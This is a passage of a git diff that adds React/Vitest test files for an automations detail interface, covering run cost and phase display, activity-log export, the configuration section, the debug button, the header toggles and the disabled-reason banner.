+ it("shows a measured zero cost instead of hiding it", () => {
+ // Arrange: the service stores 0 only when the SDK reported a real
+ // zero-cost run, so it must stay distinguishable from an unknown cost.
+ const run = makeRun({ cost: 0 });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(screen.getByText("$0.0000")).toBeInTheDocument();
+ });
+
+ // `null` is a run whose cost the service could not determine (cancelled,
+ // watchdog timeout, or predating cost tracking); `undefined` is an
+ // automation service too old to send the field at all. Neither has a cost
+ // to show.
+ it.each([
+ ["null", null],
+ ["undefined", undefined],
+ ])("shows no cost when the reported cost is %s", (_label, cost) => {
+ // Arrange
+ const run = makeRun({ cost });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(
+ screen.queryByText((content) => content.startsWith("$")),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("ActivityLogItem — run phase", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("shows the phase as the place of failure for a FAILED run", () => {
+ // Arrange: the run failed after reaching sandbox_provisioning — a code
+ // known to the frontend, so it renders translated (raw key in tests).
+ const run = makeRun({
+ status: AutomationRunStatus.FAILED,
+ conversation_id: null,
+ bash_command_id: null,
+ phase_code: "sandbox_provisioning",
+ phase_label: null,
+ phase_updated_at: "2026-01-01T10:01:30Z",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING),
+ ).toBeInTheDocument();
+ });
+
+ it("does not display the phase for a COMPLETED run, even though it was saved", () => {
+ // Arrange: the run completed, but a phase was recorded along the way.
+ const run = makeRun({
+ status: AutomationRunStatus.COMPLETED,
+ phase_code: "running_agent",
+ phase_label: null,
+ phase_updated_at: "2026-01-01T10:01:30Z",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert: the field exists on the run (saved), but nothing renders it.
+ expect(run.phase_code).toBe("running_agent");
+ expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("ActivityLogItem — run phase absent entirely", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ vi.restoreAllMocks();
+ });
+
+ it("renders a RUNNING row unchanged, without console errors, when the automation service omits phase fields entirely", () => {
+ // Arrange: an older automation service response — no phase_code,
+ // phase_label or phase_updated_at keys at all (not even null).
+ const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+ const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+ const run = makeRun({
+ status: AutomationRunStatus.RUNNING,
+ completed_at: null,
+ });
+ delete (run as Partial).phase_code;
+ delete (run as Partial).phase_label;
+ delete (run as Partial).phase_updated_at;
+
+ // Act
+ expect(() => renderItem(run)).not.toThrow();
+
+ // Assert: renders as before — status badge present, no phase node, no
+ // console noise from the missing fields.
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+ ).toBeInTheDocument();
+ expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+ expect(errorSpy).not.toHaveBeenCalled();
+ expect(warnSpy).not.toHaveBeenCalled();
+ });
+});
+
+describe("ActivityLogItem — run phase updates without reload", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("reflects a new phase_code from a prop update (as a poll refetch would produce), with no remount needed", () => {
+ // Arrange
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ const buildTree = (run: AutomationRun) => (
+
+
+
+
+
+
+
+ );
+ const runningRun = makeRun({
+ status: AutomationRunStatus.RUNNING,
+ completed_at: null,
+ phase_code: "queued",
+ phase_label: null,
+ });
+ const { rerender } = render(buildTree(runningRun));
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_QUEUED),
+ ).toBeInTheDocument();
+
+ // Act: same run id, new phase — what the 3s poll in
+ // useAutomationRuns would hand down as a new `run` prop.
+ rerender(
+ buildTree({
+ ...runningRun,
+ phase_code: "running_agent",
+ phase_label: null,
+ }),
+ );
+
+ // Assert: the new phase is shown, the old one is gone — no reload.
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_QUEUED),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("ActivityLogItem — run phase (badge still shown)", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("shows only the existing status badge (not merely 'no phase') for an active run whose phase is blank on both fields", () => {
+ // Arrange
+ const run = makeRun({
+ status: AutomationRunStatus.RUNNING,
+ completed_at: null,
+ phase_code: null,
+ phase_label: "",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert: no phase node, but the status badge is still on the row —
+ // the requirement is "only the existing status badge", not "nothing".
+ expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+ ).toBeInTheDocument();
+ });
+
+ it("keeps the status badge beside a phase reported as a bare code", () => {
+ // Arrange: the service accepts `{"code": "custom_step"}` with no label.
+ const run = makeRun({
+ status: AutomationRunStatus.RUNNING,
+ completed_at: null,
+ phase_code: "custom_step",
+ phase_label: "",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert: the phase reaches the row, and it is added to the badge rather
+ // than replacing it.
+ expect(screen.getByTestId("run-phase")).toHaveTextContent("custom_step");
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNNING),
+ ).toBeInTheDocument();
+ });
+});
+
+describe("ActivityLogItem — run phase hidden for CANCELLED/SKIPPED", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it.each([
+ [AutomationRunStatus.CANCELLED, I18nKey.AUTOMATIONS$DETAIL$CANCELLED],
+ [AutomationRunStatus.SKIPPED, I18nKey.AUTOMATIONS$DETAIL$SKIPPED],
+ ])(
+ "does not show the phase for a %s run, even with a known phase_code on record",
+ (status, badgeKey) => {
+ // Arrange
+ const run = makeRun({
+ status,
+ phase_code: "running_agent",
+ phase_label: null,
+ completed_at: "2026-01-01T10:02:00Z",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert: phase hidden, but the status badge for this terminal
+ // status is still shown.
+ expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText(badgeKey)).toBeInTheDocument();
+ },
+ );
+});
diff --git a/__tests__/components/automations/detail/activity-log-section.test.tsx b/__tests__/components/automations/detail/activity-log-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2e28ceee8832d9a1b14ee3ffa17a023faf7b871
--- /dev/null
+++ b/__tests__/components/automations/detail/activity-log-section.test.tsx
@@ -0,0 +1,188 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ActivityLogSection } from "#/components/features/automations/detail/activity-log-section";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+import { downloadActivityLogExport } from "#/utils/automation-activity-log-export";
+
+const { trackAutomationActivityLogExported } = vi.hoisted(() => ({
+ trackAutomationActivityLogExported: vi.fn(),
+}));
+
+vi.mock("#/utils/automation-activity-log-export", () => ({
+ downloadActivityLogExport: vi.fn().mockResolvedValue(undefined),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackAutomationActivityLogExported,
+ }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => ({
+ backend: { id: "default-local", kind: "local" },
+ orgId: null,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-automation-detail", () => ({
+ useAutomationRuns: vi.fn(),
+}));
+
+import { useAutomationRuns } from "#/hooks/query/use-automation-detail";
+
+const automation: Automation = {
+ id: "a1",
+ name: "Test Activity Log",
+ trigger: { type: "cron", schedule: "0 9 * * 1-5", timezone: "UTC" },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ prompt: "hello",
+};
+
+const run: AutomationRun = {
+ id: "r1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: "c1",
+ bash_command_id: "b1",
+ error_detail: null,
+ started_at: "2026-01-01T09:00:00Z",
+ completed_at: "2026-01-01T09:01:00Z",
+};
+
+function renderSection(highlightedRunId: string | null = null) {
+ const client = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ ,
+ );
+}
+
+describe("ActivityLogSection export", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ vi.mocked(useAutomationRuns).mockReturnValue({
+ data: { runs: [run], total: 1 },
+ isLoading: false,
+ } as unknown as ReturnType);
+ });
+
+ it("exports JSON via the activity-log export helper and tracks it", async () => {
+ const user = userEvent.setup();
+ renderSection();
+
+ await user.click(screen.getByTestId("activity-log-export-json"));
+
+ await waitFor(() => {
+ expect(downloadActivityLogExport).toHaveBeenCalledWith({
+ automation,
+ format: "json",
+ conversationBaseUrl: window.location.origin,
+ });
+ });
+ expect(trackAutomationActivityLogExported).toHaveBeenCalledWith({
+ backendKind: "local",
+ format: "json",
+ });
+ });
+
+ it("exports CSV via the activity-log export helper and tracks it", async () => {
+ const user = userEvent.setup();
+ renderSection();
+
+ await user.click(screen.getByTestId("activity-log-export-csv"));
+
+ await waitFor(() => {
+ expect(downloadActivityLogExport).toHaveBeenCalledWith({
+ automation,
+ format: "csv",
+ conversationBaseUrl: window.location.origin,
+ });
+ });
+ expect(trackAutomationActivityLogExported).toHaveBeenCalledWith({
+ backendKind: "local",
+ format: "csv",
+ });
+ });
+
+ it("disables export when there are no runs", () => {
+ vi.mocked(useAutomationRuns).mockReturnValue({
+ data: { runs: [], total: 0 },
+ isLoading: false,
+ } as unknown as ReturnType);
+
+ renderSection();
+
+ expect(screen.getByTestId("activity-log-export-json")).toBeDisabled();
+ expect(screen.getByTestId("activity-log-export-csv")).toBeDisabled();
+ });
+});
+
+describe("ActivityLogSection ?run= highlight", () => {
+ function makeRuns(count: number): AutomationRun[] {
+ return Array.from({ length: count }, (_, index) => ({
+ ...run,
+ id: `r${index + 1}`,
+ }));
+ }
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ window.HTMLElement.prototype.scrollIntoView = vi.fn();
+ });
+
+ it("marks the deep-linked run and scrolls it into view", async () => {
+ vi.mocked(useAutomationRuns).mockReturnValue({
+ data: { runs: [run], total: 1 },
+ isLoading: false,
+ } as unknown as ReturnType);
+
+ renderSection("r1");
+
+ expect(
+ screen.getByTestId("automation-run-highlight-r1"),
+ ).toBeInTheDocument();
+ await waitFor(() => {
+ expect(window.HTMLElement.prototype.scrollIntoView).toHaveBeenCalled();
+ });
+ });
+
+ it("stops auto-loading pages for a missing run id at the cap", async () => {
+ vi.mocked(useAutomationRuns).mockImplementation(
+ (options) =>
+ ({
+ data: { runs: makeRuns(options.limit ?? 20), total: 500 },
+ isLoading: false,
+ }) as unknown as ReturnType,
+ );
+
+ renderSection("r-missing");
+
+ await waitFor(() => {
+ expect(useAutomationRuns).toHaveBeenCalledWith({
+ id: "a1",
+ limit: 100,
+ offset: 0,
+ });
+ });
+
+ const requestedLimits = vi
+ .mocked(useAutomationRuns)
+ .mock.calls.map(([options]) => options.limit ?? 0);
+ expect(Math.max(...requestedLimits)).toBe(100);
+ expect(window.HTMLElement.prototype.scrollIntoView).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/automations/detail/configuration-section.test.tsx b/__tests__/components/automations/detail/configuration-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5f634f8397db57c2cd9d4f710d36bff056407ce5
--- /dev/null
+++ b/__tests__/components/automations/detail/configuration-section.test.tsx
@@ -0,0 +1,158 @@
+import { describe, it, expect } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { ConfigurationSection } from "#/components/features/automations/detail/configuration-section";
+import type { Automation } from "#/types/automation";
+
+const cronAutomation: Automation = {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize PRs",
+ trigger: {
+ type: "cron",
+ schedule: "0 9 * * *",
+ schedule_human: "Daily at 09:00",
+ },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ model: "fast-model",
+ repository: "acme/app",
+ branch: "main",
+ timezone: "UTC",
+};
+
+const eventAutomation: Automation = {
+ id: "auto-2",
+ name: "PR Review Bot",
+ prompt: "Review PRs",
+ trigger: {
+ type: "event",
+ source: "github",
+ on: "pull_request.opened",
+ filter: "repository.full_name == 'acme/frontend-app'",
+ },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ model: "review-model",
+ repository: "acme/frontend-app",
+ branch: "main",
+};
+
+const eventMultiPatternAutomation: Automation = {
+ ...eventAutomation,
+ id: "auto-3",
+ trigger: {
+ type: "event",
+ source: "github",
+ on: ["push", "release.published"],
+ filter: "glob(release.tag_name, 'v*')",
+ },
+};
+
+describe("ConfigurationSection", () => {
+ it("renders cron trigger with schedule", () => {
+ render( );
+
+ // t() returns the key in tests
+ expect(
+ screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_SCHEDULE"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("Daily at 09:00 (UTC)")).toBeInTheDocument();
+ expect(screen.getByText("fast-model")).toBeInTheDocument();
+ expect(screen.getByText("acme/app")).toBeInTheDocument();
+ });
+
+ it("renders event trigger with source, event type, and filter", () => {
+ render( );
+
+ expect(
+ screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_EVENT"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("github")).toBeInTheDocument();
+ expect(screen.getByText("pull_request.opened")).toBeInTheDocument();
+ expect(
+ screen.getByText("repository.full_name == 'acme/frontend-app'"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not show schedule field for event triggers", () => {
+ render( );
+
+ expect(
+ screen.queryByText("AUTOMATIONS$DETAIL$SCHEDULE"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders multiple event patterns joined by comma", () => {
+ render( );
+
+ expect(screen.getByText("push, release.published")).toBeInTheDocument();
+ });
+
+ it("shows expand/collapse for long filter expressions", async () => {
+ const longFilter =
+ "repository.full_name == 'acme/frontend-app' && contains(pull_request.labels[].name, 'needs-review') && sender.login != 'bot'";
+ const automation: Automation = {
+ ...eventAutomation,
+ trigger: {
+ type: "event",
+ source: "github",
+ on: "pull_request.opened",
+ filter: longFilter,
+ },
+ };
+
+ const user = userEvent.setup();
+ render( );
+
+ expect(screen.getByText("SETTINGS$SKILLS_SHOW_MORE")).toBeInTheDocument();
+ expect(screen.queryByText(longFilter)).not.toBeInTheDocument();
+
+ await user.click(screen.getByText("SETTINGS$SKILLS_SHOW_MORE"));
+ expect(screen.getByText(longFilter)).toBeInTheDocument();
+ expect(screen.getByText("SETTINGS$SKILLS_SHOW_LESS")).toBeInTheDocument();
+ });
+
+ it("does not render the filter field when the event trigger has no filter", () => {
+ const automation: Automation = {
+ ...eventAutomation,
+ trigger: {
+ type: "event",
+ source: "github",
+ on: "pull_request.opened",
+ },
+ };
+
+ render( );
+
+ expect(
+ screen.queryByText("AUTOMATIONS$DETAIL$EVENT_FILTER"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the Automation Runs As field with the resolved identity", () => {
+ // Arrange / Act — the route resolves the creator and passes it down.
+ render(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByText("AUTOMATIONS$DETAIL$RUNS_AS")).toBeInTheDocument();
+ expect(screen.getByText("jdoe@acme.com")).toBeInTheDocument();
+ });
+
+ it("does not render the Automation Runs As field when no identity is provided", () => {
+ // Arrange / Act — local backends and in-flight lookups pass nothing.
+ render( );
+
+ // Assert
+ expect(
+ screen.queryByText("AUTOMATIONS$DETAIL$RUNS_AS"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/detail/debug-automation-button.test.tsx b/__tests__/components/automations/detail/debug-automation-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0041a2f1870b657b3dc21c2d279c66d02811a3f8
--- /dev/null
+++ b/__tests__/components/automations/detail/debug-automation-button.test.tsx
@@ -0,0 +1,161 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { DebugAutomationButton } from "#/components/features/automations/detail/debug-automation-button";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+
+// Mock the underlying services (not the useCreateConversation hook), so the
+// real hook logic — id mapping + onSuccess navigation — is exercised.
+vi.mock(
+ "#/api/conversation-service/agent-server-conversation-service.api",
+ () => ({
+ default: { createConversation: vi.fn() },
+ }),
+);
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+ default: { listProfiles: vi.fn() },
+}));
+
+type CreatedConversation = Awaited<
+ ReturnType
+>;
+
+const localBackend: Backend = {
+ id: "local-1",
+ name: "Local",
+ host: "http://localhost:8000",
+ apiKey: "session-key",
+ kind: "local",
+};
+
+const failedRun: AutomationRun = {
+ id: "run-9",
+ status: AutomationRunStatus.FAILED,
+ conversation_id: "conv-1",
+ bash_command_id: "cmd-1",
+ error_detail: "Process exited with code 1",
+ started_at: "2026-01-01T10:00:00Z",
+ completed_at: "2026-01-01T10:02:00Z",
+};
+
+const automation: Automation = {
+ id: "auto-1",
+ name: "Daily Jira digest",
+ prompt: "Summarize new Jira issues",
+ trigger: { type: "cron", schedule: "0 9 * * *" },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+function renderButton(stderr = "HTTP Error 410: Gone") {
+ const navigate = vi.fn();
+ const navValue: NavigationContextValue = {
+ currentPath: "/automations/auto-1",
+ conversationId: null,
+ isNavigating: false,
+ navigate,
+ };
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+ render(
+
+
+
+
+
+
+ ,
+ );
+ return { navigate };
+}
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+ profiles: [],
+ active_profile: null,
+ });
+});
+
+afterEach(() => {
+ __resetActiveStoreForTests();
+});
+
+describe("DebugAutomationButton", () => {
+ it("seeds a new conversation with the run's error details and navigates to it", async () => {
+ // Arrange — a null app_conversation_id resolves to a `task-` route.
+ vi.mocked(
+ AgentServerConversationService.createConversation,
+ ).mockResolvedValue({
+ id: "abc123",
+ app_conversation_id: null,
+ agent_server_url: null,
+ } as CreatedConversation);
+ const { navigate } = renderButton("HTTP Error 410: Gone");
+
+ // Act
+ fireEvent.click(screen.getByTestId("debug-automation-button"));
+
+ // Assert — the options object carries the debug prompt as the initial
+ // user message.
+ await waitFor(() =>
+ expect(
+ AgentServerConversationService.createConversation,
+ ).toHaveBeenCalledTimes(1),
+ );
+ const { initialUserMsg } =
+ vi.mocked(AgentServerConversationService.createConversation).mock
+ .calls[0][0] ?? {};
+ expect(initialUserMsg).toContain("HTTP Error 410: Gone");
+ expect(initialUserMsg).toContain("Daily Jira digest");
+
+ await waitFor(() =>
+ expect(navigate).toHaveBeenCalledWith("/conversations/task-abc123"),
+ );
+ });
+
+ it("disables the button while the conversation is being created", async () => {
+ // Arrange — a never-settling promise keeps the mutation pending.
+ vi.mocked(
+ AgentServerConversationService.createConversation,
+ ).mockReturnValue(new Promise(() => {}));
+ renderButton();
+
+ const button = screen.getByTestId("debug-automation-button");
+
+ // Act
+ fireEvent.click(button);
+
+ // Assert
+ await waitFor(() => expect(button).toBeDisabled());
+ expect(button).toHaveAttribute("aria-busy", "true");
+ });
+});
diff --git a/__tests__/components/automations/detail/detail-header.test.tsx b/__tests__/components/automations/detail/detail-header.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6f315379383eb1cf771f14222a29f02c914ce5fd
--- /dev/null
+++ b/__tests__/components/automations/detail/detail-header.test.tsx
@@ -0,0 +1,65 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { DetailHeader } from "#/components/features/automations/detail/detail-header";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+const disabledAutomation: Automation = {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize",
+ trigger: {
+ type: "cron",
+ schedule: "0 9 * * *",
+ schedule_human: "Daily at 09:00",
+ },
+ enabled: false,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+function renderHeader(
+ props: Partial> = {},
+) {
+ return render(
+ ,
+ );
+}
+
+describe("DetailHeader — enabled toggle gating", () => {
+ it("hides the switch and Turn on when canToggle is false but keeps Delete", async () => {
+ // Arrange — a manager who did not create this disabled automation.
+ const user = userEvent.setup();
+ renderHeader({ canManage: true, canToggle: false });
+
+ // Act
+ await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+
+ // Assert
+ expect(screen.queryByRole("switch")).not.toBeInTheDocument();
+ expect(
+ screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+ ).toBeInTheDocument();
+ });
+
+ it("follows canManage for the switch when canToggle is omitted", () => {
+ // Arrange / Act
+ renderHeader({ canManage: true });
+
+ // Assert
+ expect(
+ screen.getByRole("switch", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/detail/disabled-reason-banner.test.tsx b/__tests__/components/automations/detail/disabled-reason-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d3580b217ba34ed2ae46b3e626a0a67168a49315
--- /dev/null
+++ b/__tests__/components/automations/detail/disabled-reason-banner.test.tsx
@@ -0,0 +1,106 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { DisabledReasonBanner } from "#/components/features/automations/detail/disabled-reason-banner";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+const baseAutomation: Automation = {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize",
+ trigger: { type: "cron", schedule: "0 9 * * *" },
+ enabled: false,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+describe("DisabledReasonBanner", () => {
+ it("renders nothing for an enabled automation even if a stale reason exists", () => {
+ const { container } = render(
+ ,
+ );
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("renders nothing for an inactive automation with no recorded reason", () => {
+ const { container } = render(
+ ,
+ );
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("surfaces the automatic-pause reason text and timestamp", () => {
+ const reason =
+ "Paused automatically: auth — Invalid API key. This failed the last 3 runs and needs a configuration fix.";
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("automation-disabled-reason-banner")).toBeInTheDocument();
+ expect(screen.getByTestId("automation-disabled-reason-text")).toHaveTextContent(
+ reason,
+ );
+ expect(screen.getByTestId("automation-disabled-reason-timestamp")).toBeInTheDocument();
+ });
+
+ it("hides the timestamp when disabled_at is missing or invalid", () => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+ });
+
+ it("hides the timestamp for an epoch/zero disabled_at", () => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+ });
+
+ it("substitutes the manual-disable label", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("automation-disabled-reason-text")).toHaveTextContent(
+ I18nKey.AUTOMATIONS$DETAIL$DISABLED_MANUAL,
+ );
+ expect(screen.queryByTestId("automation-disabled-reason-timestamp")).toBeNull();
+ });
+});
diff --git a/__tests__/components/automations/detail/edit-automation-modal.test.tsx b/__tests__/components/automations/detail/edit-automation-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6dc89f4ded5f6b7838a4ce837885d132ddff6716
--- /dev/null
+++ b/__tests__/components/automations/detail/edit-automation-modal.test.tsx
@@ -0,0 +1,696 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { EditAutomationModal } from "#/components/features/automations/detail/edit-automation-modal";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import {
+ displaySuccessToast,
+ displayErrorToast,
+} from "#/utils/custom-toast-handlers";
+import type { Automation } from "#/types/automation";
+import type { Backend } from "#/api/backend-registry/types";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+ default: {
+ updateAutomation: vi.fn(),
+ getCapabilities: vi.fn(),
+ },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+ default: {
+ listProfiles: vi.fn(),
+ },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displaySuccessToast: vi.fn(),
+ displayErrorToast: vi.fn(),
+}));
+
+// The form is the interface manifest's, so these tests run against the
+// manifest the pinned package publishes — the one a user meets.
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+ const extensions = await import("@openhands/extensions/automations");
+ return {
+ ...(await importOriginal()),
+ AUTOMATION_INTERFACE_CANDIDATE: (
+ extensions as { AUTOMATION_INTERFACE?: unknown }
+ ).AUTOMATION_INTERFACE,
+ };
+});
+
+// The interface seam resolves its manifest once at module load, so the
+// manifest-driven test overrides individual attribute specs here instead of
+// installing a whole manifest. Empty overrides leave the published
+// manifest's form in force for every other test.
+const specOverrides = vi.hoisted(() => ({
+ current: {} as Record,
+}));
+vi.mock("#/manifests/automation-interface", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ getAttributeSpec: (
+ name: Parameters[0],
+ ) => ({
+ ...actual.getAttributeSpec(name),
+ ...specOverrides.current[name],
+ }),
+ };
+});
+
+const localBackend: Backend = {
+ id: "local-1",
+ name: "Local",
+ host: "http://localhost:8000",
+ apiKey: "session-key",
+ kind: "local",
+};
+
+const dailyAutomation: Automation = {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize yesterday's PRs",
+ trigger: { type: "cron", schedule: "0 9 * * *" },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ timezone: "America/Los_Angeles",
+};
+
+const customAutomation: Automation = {
+ ...dailyAutomation,
+ id: "auto-2",
+ name: "Twice daily",
+ trigger: { type: "cron", schedule: "0 9,17 * * *" },
+};
+
+// An automation whose stored schedule this form's validator rejects.
+const rejectedScheduleAutomation: Automation = {
+ ...dailyAutomation,
+ id: "auto-6",
+ name: "Legacy schedule",
+ trigger: { type: "cron", schedule: "0 0 30 2 *" },
+};
+
+// An event-triggered automation. `buildInitialState` marks these as custom
+// schedules too, so they guard the submit path against cron validation.
+const eventAutomation: Automation = {
+ ...dailyAutomation,
+ id: "auto-5",
+ name: "On PR opened",
+ trigger: { type: "event", source: "github", on: "pull_request.opened" },
+};
+
+// A schedule automation pinned to a concrete LLM profile, used to exercise
+// the profile picker (the base fixtures intentionally leave `model` unset).
+const modeledAutomation: Automation = {
+ ...dailyAutomation,
+ id: "auto-3",
+ model: "fast",
+};
+
+// An automation carrying an explicit run timeout (in seconds). The base
